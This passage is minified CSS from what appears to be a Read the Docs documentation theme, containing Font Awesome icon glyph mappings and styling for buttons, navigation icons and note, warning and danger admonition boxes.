span.toctree-expand:before{content:""}.fa-space-shuttle:before{content:""}.fa-slack:before{content:""}.fa-envelope-square:before{content:""}.fa-wordpress:before{content:""}.fa-openid:before{content:""}.fa-institution:before,.fa-bank:before,.fa-university:before{content:""}.fa-mortar-board:before,.fa-graduation-cap:before{content:""}.fa-yahoo:before{content:""}.fa-google:before{content:""}.fa-reddit:before{content:""}.fa-reddit-square:before{content:""}.fa-stumbleupon-circle:before{content:""}.fa-stumbleupon:before{content:""}.fa-delicious:before{content:""}.fa-digg:before{content:""}.fa-pied-piper-pp:before{content:""}.fa-pied-piper-alt:before{content:""}.fa-drupal:before{content:""}.fa-joomla:before{content:""}.fa-language:before{content:""}.fa-fax:before{content:""}.fa-building:before{content:""}.fa-child:before{content:""}.fa-paw:before{content:""}.fa-spoon:before{content:""}.fa-cube:before{content:""}.fa-cubes:before{content:""}.fa-behance:before{content:""}.fa-behance-square:before{content:""}.fa-steam:before{content:""}.fa-steam-square:before{content:""}.fa-recycle:before{content:""}.fa-automobile:before,.fa-car:before{content:""}.fa-cab:before,.fa-taxi:before{content:""}.fa-tree:before{content:""}.fa-spotify:before{content:""}.fa-deviantart:before{content:""}.fa-soundcloud:before{content:""}.fa-database:before{content:""}.fa-file-pdf-o:before{content:""}.fa-file-word-o:before{content:""}.fa-file-excel-o:before{content:""}.fa-file-powerpoint-o:before{content:""}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:""}.fa-file-zip-o:before,.fa-file-archive-o:before{content:""}.fa-file-sound-o:before,.fa-file-audio-o:before{content:""}.fa-file-movie-o:before,.fa-file-video-o:before{content:""}.fa-file-code-o:before{content:""}.fa-vine:before{content:""}.fa-codepen:before{content:""}.fa-jsfiddle:before{content:""}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:""}.fa-circle-o-notch:before{content:""}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:""}.fa-ge:before,.fa-empire:before{content:""}.fa-git-square:before{content:""}.fa-git:before{content:""}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:""}.fa-tencent-weibo:before{content:""}.fa-qq:before{content:""}.fa-wechat:before,.fa-weixin:before{content:""}.fa-send:before,.fa-paper-plane:before{content:""}.fa-send-o:before,.fa-paper-plane-o:before{content:""}.fa-history:before{content:""}.fa-circle-thin:before{content:""}.fa-header:before{content:""}.fa-paragraph:before{content:""}.fa-sliders:before{content:""}.fa-share-alt:before{content:""}.fa-share-alt-square:before{content:""}.fa-bomb:before{content:""}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:""}.fa-tty:before{content:""}.fa-binoculars:before{content:""}.fa-plug:before{content:""}.fa-slideshare:before{content:""}.fa-twitch:before{content:""}.fa-yelp:before{content:""}.fa-newspaper-o:before{content:""}.fa-wifi:before{content:""}.fa-calculator:before{content:""}.fa-paypal:before{content:""}.fa-google-wallet:before{content:""}.fa-cc-visa:before{content:""}.fa-cc-mastercard:before{content:""}.fa-cc-discover:before{content:""}.fa-cc-amex:before{content:""}.fa-cc-paypal:before{content:""}.fa-cc-stripe:before{content:""}.fa-bell-slash:before{content:""}.fa-bell-slash-o:before{content:""}.fa-trash:before{content:""}.fa-copyright:before{content:""}.fa-at:before{content:""}.fa-eyedropper:before{content:""}.fa-paint-brush:before{content:""}.fa-birthday-cake:before{content:""}.fa-area-chart:before{content:""}.fa-pie-chart:before{content:""}.fa-line-chart:before{content:""}.fa-lastfm:before{content:""}.fa-lastfm-square:before{content:""}.fa-toggle-off:before{content:""}.fa-toggle-on:before{content:""}.fa-bicycle:before{content:""}.fa-bus:before{content:""}.fa-ioxhost:before{content:""}.fa-angellist:before{content:""}.fa-cc:before{content:""}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:""}.fa-meanpath:before{content:""}.fa-buysellads:before{content:""}.fa-connectdevelop:before{content:""}.fa-dashcube:before{content:""}.fa-forumbee:before{content:""}.fa-leanpub:before{content:""}.fa-sellsy:before{content:""}.fa-shirtsinbulk:before{content:""}.fa-simplybuilt:before{content:""}.fa-skyatlas:before{content:""}.fa-cart-plus:before{content:""}.fa-cart-arrow-down:before{content:""}.fa-diamond:before{content:""}.fa-ship:before{content:""}.fa-user-secret:before{content:""}.fa-motorcycle:before{content:""}.fa-street-view:before{content:""}.fa-heartbeat:before{content:""}.fa-venus:before{content:""}.fa-mars:before{content:""}.fa-mercury:before{content:""}.fa-intersex:before,.fa-transgender:before{content:""}.fa-transgender-alt:before{content:""}.fa-venus-double:before{content:""}.fa-mars-double:before{content:""}.fa-venus-mars:before{content:""}.fa-mars-stroke:before{content:""}.fa-mars-stroke-v:before{content:""}.fa-mars-stroke-h:before{content:""}.fa-neuter:before{content:""}.fa-genderless:before{content:""}.fa-facebook-official:before{content:""}.fa-pinterest-p:before{content:""}.fa-whatsapp:before{content:""}.fa-server:before{content:""}.fa-user-plus:before{content:""}.fa-user-times:before{content:""}.fa-hotel:before,.fa-bed:before{content:""}.fa-viacoin:before{content:""}.fa-train:before{content:""}.fa-subway:before{content:""}.fa-medium:before{content:""}.fa-yc:before,.fa-y-combinator:before{content:""}.fa-optin-monster:before{content:""}.fa-opencart:before{content:""}.fa-expeditedssl:before{content:""}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:""}.fa-battery-3:before,.fa-battery-three-quarters:before{content:""}.fa-battery-2:before,.fa-battery-half:before{content:""}.fa-battery-1:before,.fa-battery-quarter:before{content:""}.fa-battery-0:before,.fa-battery-empty:before{content:""}.fa-mouse-pointer:before{content:""}.fa-i-cursor:before{content:""}.fa-object-group:before{content:""}.fa-object-ungroup:before{content:""}.fa-sticky-note:before{content:""}.fa-sticky-note-o:before{content:""}.fa-cc-jcb:before{content:""}.fa-cc-diners-club:before{content:""}.fa-clone:before{content:""}.fa-balance-scale:before{content:""}.fa-hourglass-o:before{content:""}.fa-hourglass-1:before,.fa-hourglass-start:before{content:""}.fa-hourglass-2:before,.fa-hourglass-half:before{content:""}.fa-hourglass-3:before,.fa-hourglass-end:before{content:""}.fa-hourglass:before{content:""}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:""}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:""}.fa-hand-scissors-o:before{content:""}.fa-hand-lizard-o:before{content:""}.fa-hand-spock-o:before{content:""}.fa-hand-pointer-o:before{content:""}.fa-hand-peace-o:before{content:""}.fa-trademark:before{content:""}.fa-registered:before{content:""}.fa-creative-commons:before{content:""}.fa-gg:before{content:""}.fa-gg-circle:before{content:""}.fa-tripadvisor:before{content:""}.fa-odnoklassniki:before{content:""}.fa-odnoklassniki-square:before{content:""}.fa-get-pocket:before{content:""}.fa-wikipedia-w:before{content:""}.fa-safari:before{content:""}.fa-chrome:before{content:""}.fa-firefox:before{content:""}.fa-opera:before{content:""}.fa-internet-explorer:before{content:""}.fa-tv:before,.fa-television:before{content:""}.fa-contao:before{content:""}.fa-500px:before{content:""}.fa-amazon:before{content:""}.fa-calendar-plus-o:before{content:""}.fa-calendar-minus-o:before{content:""}.fa-calendar-times-o:before{content:""}.fa-calendar-check-o:before{content:""}.fa-industry:before{content:""}.fa-map-pin:before{content:""}.fa-map-signs:before{content:""}.fa-map-o:before{content:""}.fa-map:before{content:""}.fa-commenting:before{content:""}.fa-commenting-o:before{content:""}.fa-houzz:before{content:""}.fa-vimeo:before{content:""}.fa-black-tie:before{content:""}.fa-fonticons:before{content:""}.fa-reddit-alien:before{content:""}.fa-edge:before{content:""}.fa-credit-card-alt:before{content:""}.fa-codiepie:before{content:""}.fa-modx:before{content:""}.fa-fort-awesome:before{content:""}.fa-usb:before{content:""}.fa-product-hunt:before{content:""}.fa-mixcloud:before{content:""}.fa-scribd:before{content:""}.fa-pause-circle:before{content:""}.fa-pause-circle-o:before{content:""}.fa-stop-circle:before{content:""}.fa-stop-circle-o:before{content:""}.fa-shopping-bag:before{content:""}.fa-shopping-basket:before{content:""}.fa-hashtag:before{content:""}.fa-bluetooth:before{content:""}.fa-bluetooth-b:before{content:""}.fa-percent:before{content:""}.fa-gitlab:before,.icon-gitlab:before{content:""}.fa-wpbeginner:before{content:""}.fa-wpforms:before{content:""}.fa-envira:before{content:""}.fa-universal-access:before{content:""}.fa-wheelchair-alt:before{content:""}.fa-question-circle-o:before{content:""}.fa-blind:before{content:""}.fa-audio-description:before{content:""}.fa-volume-control-phone:before{content:""}.fa-braille:before{content:""}.fa-assistive-listening-systems:before{content:""}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:""}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:""}.fa-glide:before{content:""}.fa-glide-g:before{content:""}.fa-signing:before,.fa-sign-language:before{content:""}.fa-low-vision:before{content:""}.fa-viadeo:before{content:""}.fa-viadeo-square:before{content:""}.fa-snapchat:before{content:""}.fa-snapchat-ghost:before{content:""}.fa-snapchat-square:before{content:""}.fa-pied-piper:before{content:""}.fa-first-order:before{content:""}.fa-yoast:before{content:""}.fa-themeisle:before{content:""}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:""}.fa-fa:before,.fa-font-awesome:before{content:""}.fa-handshake-o:before{content:""}.fa-envelope-open:before{content:""}.fa-envelope-open-o:before{content:""}.fa-linode:before{content:""}.fa-address-book:before{content:""}.fa-address-book-o:before{content:""}.fa-vcard:before,.fa-address-card:before{content:""}.fa-vcard-o:before,.fa-address-card-o:before{content:""}.fa-user-circle:before{content:""}.fa-user-circle-o:before{content:""}.fa-user-o:before{content:""}.fa-id-badge:before{content:""}.fa-drivers-license:before,.fa-id-card:before{content:""}.fa-drivers-license-o:before,.fa-id-card-o:before{content:""}.fa-quora:before{content:""}.fa-free-code-camp:before{content:""}.fa-telegram:before{content:""}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:""}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:""}.fa-thermometer-2:before,.fa-thermometer-half:before{content:""}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:""}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:""}.fa-shower:before{content:""}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:""}.fa-podcast:before{content:""}.fa-window-maximize:before{content:""}.fa-window-minimize:before{content:""}.fa-window-restore:before{content:""}.fa-times-rectangle:before,.fa-window-close:before{content:""}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:""}.fa-bandcamp:before{content:""}.fa-grav:before{content:""}.fa-etsy:before{content:""}.fa-imdb:before{content:""}.fa-ravelry:before{content:""}.fa-eercast:before{content:""}.fa-microchip:before{content:""}.fa-snowflake-o:before{content:""}.fa-superpowers:before{content:""}.fa-wpexplorer:before{content:""}.fa-meetup:before{content:""}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}.fa,.wy-menu-vertical li span.toctree-expand,.wy-menu-vertical li.on a span.toctree-expand,.wy-menu-vertical li.current>a span.toctree-expand,.rst-content .admonition-title,.rst-content h1 .headerlink,.rst-content h2 .headerlink,.rst-content h3 .headerlink,.rst-content h4 .headerlink,.rst-content h5 .headerlink,.rst-content h6 .headerlink,.rst-content dl dt .headerlink,.rst-content p.caption .headerlink,.rst-content table>caption .headerlink,.rst-content tt.download span:first-child,.rst-content code.download span:first-child,.icon,.wy-dropdown .caret,.wy-inline-validate.wy-inline-validate-success .wy-input-context,.wy-inline-validate.wy-inline-validate-danger .wy-input-context,.wy-inline-validate.wy-inline-validate-warning .wy-input-context,.wy-inline-validate.wy-inline-validate-info .wy-input-context{font-family:inherit}.fa:before,.wy-menu-vertical li span.toctree-expand:before,.wy-menu-vertical li.on a span.toctree-expand:before,.wy-menu-vertical li.current>a span.toctree-expand:before,.rst-content .admonition-title:before,.rst-content h1 .headerlink:before,.rst-content h2 .headerlink:before,.rst-content h3 .headerlink:before,.rst-content h4 .headerlink:before,.rst-content h5 .headerlink:before,.rst-content h6 .headerlink:before,.rst-content dl dt .headerlink:before,.rst-content p.caption .headerlink:before,.rst-content table>caption .headerlink:before,.rst-content tt.download span:first-child:before,.rst-content code.download span:first-child:before,.icon:before,.wy-dropdown .caret:before,.wy-inline-validate.wy-inline-validate-success .wy-input-context:before,.wy-inline-validate.wy-inline-validate-danger .wy-input-context:before,.wy-inline-validate.wy-inline-validate-warning .wy-input-context:before,.wy-inline-validate.wy-inline-validate-info .wy-input-context:before{font-family:"FontAwesome";display:inline-block;font-style:normal;font-weight:normal;line-height:1;text-decoration:inherit}a .fa,a .wy-menu-vertical li span.toctree-expand,.wy-menu-vertical li a span.toctree-expand,.wy-menu-vertical li.on a span.toctree-expand,.wy-menu-vertical li.current>a span.toctree-expand,a .rst-content .admonition-title,.rst-content a .admonition-title,a .rst-content h1 .headerlink,.rst-content h1 a .headerlink,a .rst-content h2 .headerlink,.rst-content h2 a .headerlink,a .rst-content h3 .headerlink,.rst-content h3 a .headerlink,a .rst-content h4 .headerlink,.rst-content h4 a .headerlink,a .rst-content h5 .headerlink,.rst-content h5 a .headerlink,a .rst-content h6 .headerlink,.rst-content h6 a .headerlink,a .rst-content dl dt .headerlink,.rst-content dl dt a .headerlink,a .rst-content p.caption .headerlink,.rst-content p.caption a .headerlink,a .rst-content table>caption .headerlink,.rst-content table>caption a .headerlink,a .rst-content tt.download span:first-child,.rst-content tt.download a span:first-child,a .rst-content code.download span:first-child,.rst-content code.download a span:first-child,a .icon{display:inline-block;text-decoration:inherit}.btn .fa,.btn .wy-menu-vertical li span.toctree-expand,.wy-menu-vertical li .btn span.toctree-expand,.btn .wy-menu-vertical li.on a span.toctree-expand,.wy-menu-vertical li.on a .btn span.toctree-expand,.btn .wy-menu-vertical li.current>a span.toctree-expand,.wy-menu-vertical li.current>a .btn span.toctree-expand,.btn .rst-content .admonition-title,.rst-content .btn .admonition-title,.btn .rst-content h1 .headerlink,.rst-content h1 .btn .headerlink,.btn .rst-content h2 .headerlink,.rst-content h2 .btn .headerlink,.btn .rst-content h3 .headerlink,.rst-content h3 .btn .headerlink,.btn .rst-content h4 .headerlink,.rst-content h4 .btn .headerlink,.btn .rst-content h5 .headerlink,.rst-content h5 .btn .headerlink,.btn .rst-content h6 .headerlink,.rst-content h6 .btn .headerlink,.btn .rst-content dl dt .headerlink,.rst-content dl dt .btn .headerlink,.btn .rst-content p.caption .headerlink,.rst-content p.caption .btn .headerlink,.btn .rst-content table>caption .headerlink,.rst-content table>caption .btn .headerlink,.btn .rst-content tt.download span:first-child,.rst-content tt.download .btn span:first-child,.btn .rst-content code.download span:first-child,.rst-content code.download .btn span:first-child,.btn .icon,.nav .fa,.nav .wy-menu-vertical li span.toctree-expand,.wy-menu-vertical li .nav span.toctree-expand,.nav .wy-menu-vertical li.on a span.toctree-expand,.wy-menu-vertical li.on a .nav span.toctree-expand,.nav .wy-menu-vertical li.current>a span.toctree-expand,.wy-menu-vertical li.current>a .nav span.toctree-expand,.nav .rst-content .admonition-title,.rst-content .nav .admonition-title,.nav .rst-content h1 .headerlink,.rst-content h1 .nav .headerlink,.nav .rst-content h2 .headerlink,.rst-content h2 .nav .headerlink,.nav .rst-content h3 .headerlink,.rst-content h3 .nav .headerlink,.nav .rst-content h4 .headerlink,.rst-content h4 .nav .headerlink,.nav .rst-content h5 .headerlink,.rst-content h5 .nav .headerlink,.nav .rst-content h6 .headerlink,.rst-content h6 .nav .headerlink,.nav .rst-content dl dt .headerlink,.rst-content dl dt .nav .headerlink,.nav .rst-content p.caption .headerlink,.rst-content p.caption .nav .headerlink,.nav .rst-content table>caption .headerlink,.rst-content table>caption .nav .headerlink,.nav .rst-content tt.download span:first-child,.rst-content tt.download .nav span:first-child,.nav .rst-content code.download span:first-child,.rst-content code.download .nav span:first-child,.nav .icon{display:inline}.btn .fa.fa-large,.btn .wy-menu-vertical li span.fa-large.toctree-expand,.wy-menu-vertical li .btn span.fa-large.toctree-expand,.btn .rst-content .fa-large.admonition-title,.rst-content .btn .fa-large.admonition-title,.btn .rst-content h1 .fa-large.headerlink,.rst-content h1 .btn .fa-large.headerlink,.btn .rst-content h2 .fa-large.headerlink,.rst-content h2 .btn .fa-large.headerlink,.btn .rst-content h3 .fa-large.headerlink,.rst-content h3 .btn .fa-large.headerlink,.btn .rst-content h4 .fa-large.headerlink,.rst-content h4 .btn .fa-large.headerlink,.btn .rst-content h5 .fa-large.headerlink,.rst-content h5 .btn .fa-large.headerlink,.btn .rst-content h6 .fa-large.headerlink,.rst-content h6 .btn .fa-large.headerlink,.btn .rst-content dl dt .fa-large.headerlink,.rst-content dl dt .btn .fa-large.headerlink,.btn .rst-content p.caption .fa-large.headerlink,.rst-content p.caption .btn .fa-large.headerlink,.btn .rst-content table>caption .fa-large.headerlink,.rst-content table>caption .btn .fa-large.headerlink,.btn .rst-content tt.download span.fa-large:first-child,.rst-content tt.download .btn span.fa-large:first-child,.btn .rst-content code.download span.fa-large:first-child,.rst-content code.download .btn span.fa-large:first-child,.btn .fa-large.icon,.nav .fa.fa-large,.nav .wy-menu-vertical li span.fa-large.toctree-expand,.wy-menu-vertical li .nav span.fa-large.toctree-expand,.nav .rst-content .fa-large.admonition-title,.rst-content .nav .fa-large.admonition-title,.nav .rst-content h1 .fa-large.headerlink,.rst-content h1 .nav .fa-large.headerlink,.nav .rst-content h2 .fa-large.headerlink,.rst-content h2 .nav .fa-large.headerlink,.nav .rst-content h3 .fa-large.headerlink,.rst-content h3 .nav .fa-large.headerlink,.nav .rst-content h4 .fa-large.headerlink,.rst-content h4 .nav .fa-large.headerlink,.nav .rst-content h5 .fa-large.headerlink,.rst-content h5 .nav .fa-large.headerlink,.nav .rst-content h6 .fa-large.headerlink,.rst-content h6 .nav .fa-large.headerlink,.nav .rst-content dl dt .fa-large.headerlink,.rst-content dl dt .nav .fa-large.headerlink,.nav .rst-content p.caption .fa-large.headerlink,.rst-content p.caption .nav .fa-large.headerlink,.nav .rst-content table>caption .fa-large.headerlink,.rst-content table>caption .nav .fa-large.headerlink,.nav .rst-content tt.download span.fa-large:first-child,.rst-content tt.download .nav span.fa-large:first-child,.nav .rst-content code.download span.fa-large:first-child,.rst-content code.download .nav span.fa-large:first-child,.nav .fa-large.icon{line-height:.9em}.btn .fa.fa-spin,.btn .wy-menu-vertical li span.fa-spin.toctree-expand,.wy-menu-vertical li .btn span.fa-spin.toctree-expand,.btn .rst-content .fa-spin.admonition-title,.rst-content .btn .fa-spin.admonition-title,.btn .rst-content h1 .fa-spin.headerlink,.rst-content h1 .btn .fa-spin.headerlink,.btn .rst-content h2 .fa-spin.headerlink,.rst-content h2 .btn .fa-spin.headerlink,.btn .rst-content h3 .fa-spin.headerlink,.rst-content h3 .btn .fa-spin.headerlink,.btn .rst-content h4 .fa-spin.headerlink,.rst-content h4 .btn .fa-spin.headerlink,.btn .rst-content h5 .fa-spin.headerlink,.rst-content h5 .btn .fa-spin.headerlink,.btn .rst-content h6 .fa-spin.headerlink,.rst-content h6 .btn .fa-spin.headerlink,.btn .rst-content dl dt .fa-spin.headerlink,.rst-content dl dt .btn .fa-spin.headerlink,.btn .rst-content p.caption .fa-spin.headerlink,.rst-content p.caption .btn .fa-spin.headerlink,.btn .rst-content table>caption .fa-spin.headerlink,.rst-content table>caption .btn .fa-spin.headerlink,.btn .rst-content tt.download span.fa-spin:first-child,.rst-content tt.download .btn span.fa-spin:first-child,.btn .rst-content code.download span.fa-spin:first-child,.rst-content code.download .btn span.fa-spin:first-child,.btn .fa-spin.icon,.nav .fa.fa-spin,.nav .wy-menu-vertical li span.fa-spin.toctree-expand,.wy-menu-vertical li .nav span.fa-spin.toctree-expand,.nav .rst-content .fa-spin.admonition-title,.rst-content .nav .fa-spin.admonition-title,.nav .rst-content h1 .fa-spin.headerlink,.rst-content h1 .nav .fa-spin.headerlink,.nav .rst-content h2 .fa-spin.headerlink,.rst-content h2 .nav .fa-spin.headerlink,.nav .rst-content h3 .fa-spin.headerlink,.rst-content h3 .nav .fa-spin.headerlink,.nav .rst-content h4 .fa-spin.headerlink,.rst-content h4 .nav .fa-spin.headerlink,.nav .rst-content h5 .fa-spin.headerlink,.rst-content h5 .nav .fa-spin.headerlink,.nav .rst-content h6 .fa-spin.headerlink,.rst-content h6 .nav .fa-spin.headerlink,.nav .rst-content dl dt .fa-spin.headerlink,.rst-content dl dt .nav .fa-spin.headerlink,.nav .rst-content p.caption .fa-spin.headerlink,.rst-content p.caption .nav .fa-spin.headerlink,.nav .rst-content table>caption .fa-spin.headerlink,.rst-content table>caption .nav .fa-spin.headerlink,.nav .rst-content tt.download span.fa-spin:first-child,.rst-content tt.download .nav span.fa-spin:first-child,.nav .rst-content code.download span.fa-spin:first-child,.rst-content code.download .nav span.fa-spin:first-child,.nav .fa-spin.icon{display:inline-block}.btn.fa:before,.wy-menu-vertical li span.btn.toctree-expand:before,.rst-content .btn.admonition-title:before,.rst-content h1 .btn.headerlink:before,.rst-content h2 .btn.headerlink:before,.rst-content h3 .btn.headerlink:before,.rst-content h4 .btn.headerlink:before,.rst-content h5 .btn.headerlink:before,.rst-content h6 .btn.headerlink:before,.rst-content dl dt .btn.headerlink:before,.rst-content p.caption .btn.headerlink:before,.rst-content table>caption .btn.headerlink:before,.rst-content tt.download span.btn:first-child:before,.rst-content code.download span.btn:first-child:before,.btn.icon:before{opacity:.5;-webkit-transition:opacity .05s ease-in;-moz-transition:opacity .05s ease-in;transition:opacity .05s ease-in}.btn.fa:hover:before,.wy-menu-vertical li span.btn.toctree-expand:hover:before,.rst-content .btn.admonition-title:hover:before,.rst-content h1 .btn.headerlink:hover:before,.rst-content h2 .btn.headerlink:hover:before,.rst-content h3 .btn.headerlink:hover:before,.rst-content h4 .btn.headerlink:hover:before,.rst-content h5 .btn.headerlink:hover:before,.rst-content h6 .btn.headerlink:hover:before,.rst-content dl dt .btn.headerlink:hover:before,.rst-content p.caption .btn.headerlink:hover:before,.rst-content table>caption .btn.headerlink:hover:before,.rst-content tt.download span.btn:first-child:hover:before,.rst-content code.download span.btn:first-child:hover:before,.btn.icon:hover:before{opacity:1}.btn-mini .fa:before,.btn-mini .wy-menu-vertical li span.toctree-expand:before,.wy-menu-vertical li .btn-mini span.toctree-expand:before,.btn-mini .rst-content .admonition-title:before,.rst-content .btn-mini .admonition-title:before,.btn-mini .rst-content h1 .headerlink:before,.rst-content h1 .btn-mini .headerlink:before,.btn-mini .rst-content h2 .headerlink:before,.rst-content h2 .btn-mini .headerlink:before,.btn-mini .rst-content h3 .headerlink:before,.rst-content h3 .btn-mini .headerlink:before,.btn-mini .rst-content h4 .headerlink:before,.rst-content h4 .btn-mini .headerlink:before,.btn-mini .rst-content h5 .headerlink:before,.rst-content h5 .btn-mini .headerlink:before,.btn-mini .rst-content h6 .headerlink:before,.rst-content h6 .btn-mini .headerlink:before,.btn-mini .rst-content dl dt .headerlink:before,.rst-content dl dt .btn-mini .headerlink:before,.btn-mini .rst-content p.caption .headerlink:before,.rst-content p.caption .btn-mini .headerlink:before,.btn-mini .rst-content table>caption .headerlink:before,.rst-content table>caption .btn-mini .headerlink:before,.btn-mini .rst-content tt.download span:first-child:before,.rst-content tt.download .btn-mini span:first-child:before,.btn-mini .rst-content code.download span:first-child:before,.rst-content code.download .btn-mini span:first-child:before,.btn-mini .icon:before{font-size:14px;vertical-align:-15%}.wy-alert,.rst-content .note,.rst-content .attention,.rst-content .caution,.rst-content .danger,.rst-content .error,.rst-content .hint,.rst-content .important,.rst-content .tip,.rst-content .warning,.rst-content .seealso,.rst-content .admonition-todo,.rst-content .admonition{padding:12px;line-height:24px;margin-bottom:24px;background:#e7f2fa}.wy-alert-title,.rst-content .admonition-title{color:#fff;font-weight:bold;display:block;color:#fff;background:#6ab0de;margin:-12px;padding:6px 12px;margin-bottom:12px}.wy-alert.wy-alert-danger,.rst-content .wy-alert-danger.note,.rst-content .wy-alert-danger.attention,.rst-content .wy-alert-danger.caution,.rst-content .danger,.rst-content .error,.rst-content .wy-alert-danger.hint,.rst-content .wy-alert-danger.important,.rst-content .wy-alert-danger.tip,.rst-content .wy-alert-danger.warning,.rst-content .wy-alert-danger.seealso,.rst-content .wy-alert-danger.admonition-todo,.rst-content .wy-alert-danger.admonition{background:#fdf3f2}.wy-alert.wy-alert-danger .wy-alert-title,.rst-content .wy-alert-danger.note .wy-alert-title,.rst-content .wy-alert-danger.attention .wy-alert-title,.rst-content .wy-alert-danger.caution .wy-alert-title,.rst-content .danger .wy-alert-title,.rst-content .error .wy-alert-title,.rst-content .wy-alert-danger.hint .wy-alert-title,.rst-content .wy-alert-danger.important .wy-alert-title,.rst-content .wy-alert-danger.tip .wy-alert-title,.rst-content .wy-alert-danger.warning .wy-alert-title,.rst-content .wy-alert-danger.seealso .wy-alert-title,.rst-content .wy-alert-danger.admonition-todo .wy-alert-title,.rst-content .wy-alert-danger.admonition .wy-alert-title,.wy-alert.wy-alert-danger .rst-content .admonition-title,.rst-content .wy-alert.wy-alert-danger .admonition-title,.rst-content .wy-alert-danger.note .admonition-title,.rst-content .wy-alert-danger.attention .admonition-title,.rst-content .wy-alert-danger.caution .admonition-title,.rst-content .danger .admonition-title,.rst-content .error .admonition-title,.rst-content .wy-alert-danger.hint .admonition-title,.rst-content .wy-alert-danger.important .admonition-title,.rst-content .wy-alert-danger.tip .admonition-title,.rst-content .wy-alert-danger.warning .admonition-title,.rst-content .wy-alert-danger.seealso .admonition-title,.rst-content .wy-alert-danger.admonition-todo .admonition-title,.rst-content .wy-alert-danger.admonition .admonition-title{background:#f29f97}.wy-alert.wy-alert-warning,.rst-content .wy-alert-warning.note,.rst-content .attention,.rst-content .caution,.rst-content .wy-alert-warning.danger,.rst-content .wy-alert-warning.error,.rst-content .wy-alert-warning.hint,.rst-content .wy-alert-warning.important,.rst-content .wy-alert-warning.tip,.rst-content .warning,.rst-content .wy-alert-warning.seealso,.rst-content .admonition-todo,.rst-content .wy-alert-warning.admonition{background:#ffedcc}.wy-alert.wy-alert-warning .wy-alert-title,.rst-content .wy-alert-warning.note .wy-alert-title,.rst-content .attention .wy-alert-title,.rst-content .caution .wy-alert-title,.rst-content .wy-alert-warning.danger .wy-alert-title,.rst-content .wy-alert-warning.error .wy-alert-title,.rst-content .wy-alert-warning.hint .wy-alert-title,.rst-content .wy-alert-warning.important .wy-alert-title,.rst-content .wy-alert-warning.tip .wy-alert-title,.rst-content .warning .wy-alert-title,.rst-content .wy-alert-warning.seealso .wy-alert-title,.rst-content .admonition-todo .wy-alert-title,.rst-content .wy-alert-warning.admonition .wy-alert-title,.wy-alert.wy-alert-warning .rst-content .admonition-title,.rst-content .wy-alert.wy-alert-warning .admonition-title,.rst-content .wy-alert-warning.note .admonition-title,.rst-content .attention .admonition-title,.rst-content .caution .admonition-title,.rst-content .wy-alert-warning.danger .admonition-title,.rst-content .wy-alert-warning.error .admonition-title,.rst-content .wy-alert-warning.hint .admonition-title,.rst-content .wy-alert-warning.important .admonition-title,.rst-content .wy-alert-warning.tip .admonition-title,.rst-content .warning .admonition-title,.rst-content .wy-alert-warning.seealso .admonition-title,.rst-content .admonition-todo .admonition-title,.rst-content .wy-alert-warning.admonition .admonition-title{background:#f0b37e}.wy-alert.wy-alert-info,.rst-content .note,.rst-content .wy-alert-info.attention,.rst-content .wy-alert-info.caution,.rst-content .wy-alert-info.danger,.rst-content .wy-alert-info.error,.rst-content .wy-alert-info.hint,.rst-content .wy-alert-info.important,.rst-content .wy-alert-info.tip,.rst-content .wy-alert-info.warning,.rst-content .seealso,.rst-content .wy-alert-info.admonition-todo,.rst-content .wy-alert-info.admonition{background:#e7f2fa}.wy-alert.wy-alert-info .wy-alert-title,.rst-content .note .wy-alert-title,.rst-content .wy-alert-info.attention .wy-alert-title,.rst-content .wy-alert-info.caution .wy-alert-title,.rst-content .wy-alert-info.danger .wy-alert-title,.rst-content .wy-alert-info.error .wy-alert-title,.rst-content .wy-alert-info.hint .wy-alert-title,.rst-content .wy-alert-info.important .wy-alert-title,.rst-content .wy-alert-info.tip .wy-alert-title,.rst-content .wy-alert-info.warning .wy-alert-title,.rst-content .seealso .wy-alert-title,.rst-content .wy-alert-info.admonition-todo .wy-alert-title,.rst-content .wy-alert-info.admonition .wy-alert-title,.wy-alert.wy-alert-info .rst-content .admonition-title,.rst-content .wy-alert.wy-alert-info .admonition-title,.rst-content .note .admonition-title,.rst-content .wy-alert-info.attention .admonition-title,.rst-content .wy-alert-info.caution .admonition-title,.rst-content .wy-alert-info.danger .admonition-title,.rst-content .wy-alert-info.error .admonition-title,.rst-content .wy-alert-info.hint .admonition-title,.rst-content .wy-alert-info.important .admonition-title,.rst-content .wy-alert-info.tip .admonition-title,.rst-content .wy-alert-info.warning .admonition-title,.rst-content .seealso .admonition-title,.rst-content .wy-alert-info.admonition-todo .admonition-title,.rst-content .wy-alert-info.admonition .admonition-title{background:#6ab0de}.wy-alert.wy-alert-success,.rst-content .wy-alert-success.note,.rst-content .wy-alert-success.attention,.rst-content .wy-alert-success.caution,.rst-content .wy-alert-success.danger,.rst-content .wy-alert-success.error,.rst-content .hint,.rst-content .important,.rst-content .tip,.rst-content .wy-alert-success.warning,.rst-content .wy-alert-success.seealso,.rst-content .wy-alert-success.admonition-todo,.rst-content .wy-alert-success.admonition{background:#dbfaf4}.wy-alert.wy-alert-success .wy-alert-title,.rst-content .wy-alert-success.note .wy-alert-title,.rst-content .wy-alert-success.attention .wy-alert-title,.rst-content .wy-alert-success.caution .wy-alert-title,.rst-content .wy-alert-success.danger .wy-alert-title,.rst-content .wy-alert-success.error .wy-alert-title,.rst-content .hint 